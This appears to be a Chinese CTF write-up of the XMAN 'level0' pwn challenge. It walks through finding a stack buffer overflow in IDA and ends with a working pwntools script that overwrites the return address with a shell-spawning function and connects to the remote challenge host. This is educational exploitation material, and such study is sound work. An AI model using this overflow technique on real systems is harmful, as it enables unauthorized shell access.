XMAN-level0(hijack_control_flow)

思路:这题考察hijack_control_flow,题目存在一个系统函数,其功能是开启一个shell,我们可以覆盖返回地址为该函数地址,从而劫持控制流,即可getshell。

1.用gdb-peda自带的功能检查一下是否开启nx,栈保护等机制。

2.file命令看一下是32位还是64位。

3.IDA64位打开文件,按空格键切换到文本界面,再按F5查看反汇编代码,理解程序逻辑。

双击vulnerable_function可进入该函数。

4.到了这里我们发现主要问题出在vulnerable_function,如果输入超过0x80个字节,就会导致缓冲区溢出。但是由于开启了NX,所以栈上数据无法执行。我们按shift + F12查看是否有直接可以利用的函数。

双击该字符串/bin/sh,跳到该字符串出现的区域。

双击后面的函数callsystem,可以跳到该函数,再按F5,查看该函数,发现这是一个开启shell的函数,我们可以直接利用。

5.到这里思路就明确了,我们只要将程序的逻辑修改成下图的执行流程就可以得到一个shell了。

6.由下图知道缓冲区到rbp的距离是0x80字节,然后再加上0x08字节的rbp,就到vulnerable_function函数返回地址了,这里我们用callsystem函数的开始地址覆盖该返回地址即可。(具体原理需要查阅函数调用栈相关的知识)

具体脚本如下:

# coding:utf-8
from pwn import *

context.log_level = 'debug'
# sh = process('./level0')
sh = remote("pwn2.jarvisoj.com",9881)
elf = ELF("./level0")
callsys_addr = elf.symbols['callsystem'] #通过处理level0获得callsystem的开始地址
sh.recvuntil('World\n')#接收到'World\n'后,此处有换行符
payload = 'A' * (0x80 + 0x8) + p64(callsys_addr)#p64将数字转换成字符串
sh.send(payload)
sh.interactive()#打开交互模式
sh.close()
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

友情链接更多精彩内容